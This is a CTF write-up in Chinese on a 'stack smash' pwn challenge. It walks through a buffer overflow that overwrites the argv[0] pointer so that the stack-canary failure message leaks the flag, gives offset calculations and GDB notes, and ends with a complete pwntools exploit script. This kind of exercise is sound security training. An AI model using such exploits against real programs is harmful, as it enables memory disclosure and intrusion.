xpl(stack smash)
本来只是简单的复习一下stack的相关知识,没想到通过这个题发现了自己两个很基础的知识没有掌握,所以写一篇wp来记录一下
题目情况
checksec
放进ida
看上去有点复杂,发现了main函数点进去分析
main函数流程:打开了flag.txt然后将其读入v9中,然后输出了v9的地址,并等我们进行输入
- read的限制是0x400,v10只有0x90的大小,则存在栈溢出
- 题目给我们提供了v9的地址(即flag的地址),可以想办法泄露这个地址的内容(自然就想到了stack smash的方法)
- 注意stack smash是必须有canary存在时才可用(覆盖canary使其报错打印信息)
- 其次使用stack smash之后程序就因报错结束了所以这只能利用一次
大致思路
- 计算read函数写入地址(v10)与argv[0]的偏移
在main函数打断点,发现RSI处保存的地址指向的地址内容是程序名,即argv[0]的地址,那么我们需要覆盖的地址就是这里,即覆盖 0x7fffffffe138
首先计算保存argv[0]的地址到main函数的rbp的偏移:
0x7fffffffe138 - 0x7fffffffe050 = 0xe8
然后查看v10到rbp的偏移:
所以总的偏移量:
offset = 0xe8 + 0x90 = 0x178
- 想办法将argv[0]的地址覆盖为v9的地址
- v9的地址题目已经提前给我们了
payload = b'A'*offset
payload += p64(flag_addr)
注意点与收获
- 关于究竟哪儿才是一个函数开始的地方
在计算偏移时,我第一次打断点的地方:
很自然的我打在了 0x40105E 这个地址,但多次计算偏移发现就是会出错而且在调试程序中我也看不见正确的rbp地址
看图可以发现这里的rbp地址明显不对
百思不得其解,然后换了一种打断点的方法 b main
明显地址不一样,看汇编得到了解释:
000000000040105E ; __unwind {
000000000040105E push rbp
000000000040105F mov rbp, rsp
0000000000401062 sub rsp, 130h
0000000000401069 mov [rbp+var_124], edi
000000000040106F mov [rbp+var_130], rsi
发现0x40105E处只是将上一个函数的栈帧入栈,还没有开辟新的栈帧,即main函数还没有被调用,此时是处于准备阶段
而真正调用发生于执行完mov rbp, rsp(0x40105F)后,这里才开辟了新的栈帧所以使用b main的方法打断点的地址是0x401062
- 关于地址的不同意义与保存内容
如何理解下面这张图的地址?
0x7fffffffea11 存放的内容是程序名(argv[0])
0x7fffffffe808 存放的是“存放程序名”的地址,所以应该覆盖的是这个地址使其指向目标地址
- python split方法
起因:不知道为什么我在获得地址时不能用
flag_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
然后偶然想起切片的方法,就去查了一下可以用split
Python split() 通过指定分隔符对字符串进行切片,如果参数 num 有指定值,则分隔 num+1 个子字符串
str.split(str="", num=string.count(str))
str -- 分隔符,默认为所有的空字符,包括空格、换行(\n)、制表符(\t)等。
num -- 分割次数。默认为 -1, 即分隔所有。
有一段输出的语句,现在我要提取当中的地址
addr = int(sh.recvline().split()[4], 16)
逐一翻译一下上面的含义
int 转换为整型
.split对接收的一行数据进行切片
[4] 定位到第四个切片处(途中的语句的第四个空格后的数据)
int( , 16) 转换成16进制
完整exp
from pwn import *
p=process('./pwn')
context(os='linux', arch='amd64', log_level='debug')
gdb.attach(p)
flag_addr = int(p.recvline().split()[4], 16)
log.success('flag addr is :' + hex(flag_addr))
offset = 0x178
payload = b'A'*offset
payload += p64(flag_addr)
p.send(payload)
flag = p.recvall()
print(flag)